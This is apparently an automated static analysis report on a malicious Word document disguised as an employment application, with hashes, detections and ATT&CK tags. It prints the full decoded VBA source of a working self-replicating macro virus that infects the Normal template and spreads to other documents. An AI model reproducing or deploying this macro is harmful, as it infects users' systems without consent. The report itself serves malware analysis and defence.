Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5cf0ae1ce4346f17…

MALICIOUS

Office (OLE)

52.0 KB Created: 2016-12-29 08:50:00 Authoring application: Microsoft Office Word First seen: 2017-02-22
MD5: d60da183451f0ba3513b51aabd082d2a SHA-1: 515534fedbe3779f463495b010c298c691c0e1e5 SHA-256: 5cf0ae1ce4346f1738d77da683060558159c305fd20e731446c63b5e42c60ef9
90 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristics and ClamAV detection. The VBA macro, named 'macros.bas', appears to be designed to modify or infect the Normal template, potentially establishing persistence or further infection vectors. The document body is presented as an employment application, a common lure for social engineering.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    'Micro-Virus
    Sub Document_Open()
    On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub